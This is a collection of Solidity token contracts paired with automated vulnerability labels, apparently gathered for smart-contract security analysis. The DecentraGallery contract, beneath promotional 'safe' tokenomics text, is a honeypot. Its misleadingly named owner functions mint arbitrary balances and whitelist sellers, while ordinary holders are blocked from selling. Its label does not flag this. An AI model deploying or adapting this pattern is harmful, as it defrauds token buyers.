}
_transfer( msg.sender, to, value, data );
return true;
}
// ERC223 Transfer to contract and invoke tokenFallback() method
function transferToContract( address to, uint value, bytes data ) private
returns (bool success)
{
_transfer( msg.sender, to, value, data );
ContractReceiver rx = ContractReceiver(to);
rx.tokenFallback( msg.sender, value, data );
return true;
}
// ERC223 fetch contract size (must be nonzero to be a contract)
function isContract( address _addr ) private constant returns (bool)
{
uint length;
assembly { length := extcodesize(_addr) }
return (length > 0);
}
function _transfer( address from,
address to,
uint value,
bytes data ) internal
{
require( to != 0x0 );
require( balances_[from] >= value );
require( balances_[to] + value > balances_[to] ); // catch overflow
balances_[from] -= value;
balances_[to] += value;
//Transfer( from, to, value, data ); ERC223-compat version
bytes memory empty;
empty = data;
emit Transfer( from, to, value ); // ERC20-compat version
}
} | These are the vulnerabilities found
1) constant-function-asm with Medium impact
2) uninitialized-local with Medium impact
3) locked-ether with Medium impact |
/*
Decentra Gallery
HOLD MORE THAN 500,000 Decentra Gallery — GET DECENGAL every 30 minutes
Price is what you pay. Value is what you get — Warren Buffet
Tokenomics
10% Redistribution In DECENGAL
As a Decentra Gallery holder, 10% of every buy/sell is taken and redistributed to all holders. Hold $Decentra Gallery tokens, earn DECENGAL. A Minimum of 500,000 tokens is required in order to receive rewards.
3% MARKETING
3% of each transaction goes into the marketing wallet. This will be used to make the project grow.
Rewards Paid Automatically
For the first time ever, you don’t need to claim your earned DECENGAL. It’s automatically sent to your wallet. Just add the DECENGALryToken $DECENGAL address to your wallet and you’re set.
Decentra Gallery Team NFT — Collection 1
DECENGALDECNGAL, Collection of 10 Pixel DECENGALDECNGAL will be available at OpenSea soon.
Mission Statement
— To be listed on several CEXs and mainly on the top CEX such as Huobi, Ethereum , OKEX.
— To be a large NFTs collection token, to provide sustainable growth for Decentra Gallery holder.
— To reach more than 1,000,000 holders in less than 6 months.
— To reach more than 1 billion in market cap.
— To create NFT custom Dapp (Decentra Gallery Lucky Box) within 2 months of Decentra Gallery Inception.
— To create Decentra Gallery custom Dapp for Tracking of DECENGAL Rewards, Prediction, Chat, Community forum.
— To promote Decentra Gallery online / offline through Crypto Conventions, Roadshow, Physical Billboard, Events and Activities Worldwide.
Decentra Gallery: A brief introduction
Decentra Gallery is a community inspired DeFi experiment built on the Ethereum smart chain which supports speedy transaction and low transaction fees to make it one of the most sought after blockchain for developers and the general cryptocurrency community.
Decentra Gallery aims to revolutionize the NFT space as Curator by allowing people the creation and drawing of NFTs by popular nft influencers through the Decentra Gallery protocol which makes the creation, sale, and use of NFT as easy as possible.
NFT sold on Decentra Gallery are 100% channeled towards donation to various courses with proof of donation to be shared accordingly on Decentra Gallery Twitter account. or other media as decided by the community.
Benefits of Holding Decentra Gallery
The Decentra Gallery smart contract has been deployed and encourages long term holders through a reward based system that is built in the contract and other factors as listed below
100% Safe
Liquidity Locked for 3 years
Burnt 50% of total supply
Open Source Contract
By giving total control to its community members/holders, DECENGAL coin aims to continuously utilize the power of its community to keep building while rewarding holders accordingly. Decentra Gallery is
Community driven
100% Community run
Regular giveaways to holders and
10% rewards in $DECENGAL for holding
Decentra Gallery Tokenomics
Decentra Gallery will pay out 10% rewards for each buy and sell to its holders with the reward token (DECENGAL) being chosen as the reward asset. A minimum of 500,000 Decentra Gallery is required to be eligible for the DECENGAL reward flow.
To constantly make sure that Decentra Gallery will be at the forefront of the cryptocurrency world, 3% of all transactions from buy and sell has been reserved for the marketing wallet. Marketing and promotion ideas will be decided by the community at all times with the decision power factor decided by the total number of Decentra Gallery being held by each voter.
Decentra Gallery smart contract is built to issue rewards automatically to holders without the rigors of the need to manually claim rewards. Holders only need to add the DECENGALry token ($DECENGAL) contract address in order for their reward to be visible.
Decentra Gallery Products
A complete robust and user friendly Dapps for NFT is being built by the Decentra Gallery team and is slated for release towards the last quarter of 2021. This dapp will enable any type of NFT obtained from other NFT platform like OpenSea, Decentra Gallery or DECENGAL Coin collection to be traded with Decentra Gallery as a means of payment across all supported NFT platform
All listed NFTs will be shown on a website which will come with information of verifiability by block chain at full display.
Decentra Gallery will also develop its own community Dapp for community forum, support desk, wallet, DEX aggregator where all community members and holders can interact as one at all times.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract DecentraGallery {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | These are the vulnerabilities found
1) uninitialized-state with High impact
2) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2020-08-14
*/
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract EVERSUN is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "EVERSUN";
symbol = "EVERSUN";
decimals = 18;
_totalSupply = 1000000000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | No vulnerabilities found |
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that adds a cap to the supply of tokens.
*/
abstract contract ERC20Capped is ERC20 {
uint256 immutable private _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor (uint256 cap_) {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view virtual returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20-_mint}.
*/
function _mint(address account, uint256 amount) internal virtual override {
require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
super._mint(account, amount);
}
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
abstract contract ERC20Decimals is ERC20 {
uint8 private immutable _decimals;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint8 decimals_) {
_decimals = decimals_;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
// File: contracts/token/ERC20/behaviours/ERC20Mintable.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Mintable
* @dev Implementation of the ERC20Mintable. Extension of {ERC20} that adds a minting behaviour.
*/
abstract contract ERC20Mintable is ERC20 {
// indicates if minting is finished
bool private _mintingFinished = false;
/**
* @dev Emitted during finish minting
*/
event MintFinished();
/**
* @dev Tokens can be minted only before minting finished.
*/
modifier canMint() {
require(!_mintingFinished, "ERC20Mintable: minting is finished");
_;
}
/**
* @return if minting is finished or not.
*/
function mintingFinished() external view returns (bool) {
return _mintingFinished;
}
/**
* @dev Function to mint tokens.
*
* WARNING: it allows everyone to mint new tokens. Access controls MUST be defined in derived contracts.
*
* @param account The address that will receive the minted tokens
* @param amount The amount of tokens to mint
*/
function mint(address account, uint256 amount) external canMint {
_mint(account, amount);
}
/**
* @dev Function to stop minting new tokens.
*
* WARNING: it allows everyone to finish minting. Access controls MUST be defined in derived contracts.
*/
function finishMinting() external canMint {
_finishMinting();
}
/**
* @dev Function to stop minting new tokens.
*/
function _finishMinting() internal virtual {
_mintingFinished = true;
emit MintFinished();
}
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor(address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/token/ERC20/MintableERC20.sol
pragma solidity ^0.8.0;
/**
* @title MintableERC20
* @dev Implementation of the MintableERC20
*/
contract MintableERC20 is ERC20Decimals, ERC20Capped, ERC20Mintable, Ownable, ServicePayer {
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 cap_,
uint256 initialBalance_,
address payable feeReceiver_
)
payable
ERC20(name_, symbol_)
ERC20Decimals(decimals_)
ERC20Capped(cap_)
ServicePayer(feeReceiver_, "MintableERC20")
{
// Immutable variables cannot be read during contract creation time
// https://github.com/ethereum/solidity/issues/10463
require(initialBalance_ <= cap_, "ERC20Capped: cap exceeded");
ERC20._mint(_msgSender(), initialBalance_);
}
function decimals() public view virtual override(ERC20, ERC20Decimals) returns (uint8) {
return super.decimals();
}
/**
* @dev Function to mint tokens.
*
* NOTE: restricting access to owner only. See {ERC20Mintable-mint}.
*
* @param account The address that will receive the minted tokens
* @param amount The amount of tokens to mint
*/
function _mint(address account, uint256 amount) internal override(ERC20, ERC20Capped) onlyOwner {
super._mint(account, amount);
}
/**
* @dev Function to stop minting new tokens.
*
* NOTE: restricting access to owner only. See {ERC20Mintable-finishMinting}.
*/
function _finishMinting() internal override onlyOwner {
super._finishMinting();
}
}
| No vulnerabilities found |
pragma solidity ^0.4.13;
contract IStructuredStorage {
function setProxyLogicContractAndDeployer(address _proxyLogicContract, address _deployer) external;
function setProxyLogicContract(address _proxyLogicContract) external;
// *** Getter Methods ***
function getUint(bytes32 _key) external view returns(uint);
function getString(bytes32 _key) external view returns(string);
function getAddress(bytes32 _key) external view returns(address);
function getBytes(bytes32 _key) external view returns(bytes);
function getBool(bytes32 _key) external view returns(bool);
function getInt(bytes32 _key) external view returns(int);
function getBytes32(bytes32 _key) external view returns(bytes32);
// *** Getter Methods For Arrays ***
function getBytes32Array(bytes32 _key) external view returns (bytes32[]);
function getAddressArray(bytes32 _key) external view returns (address[]);
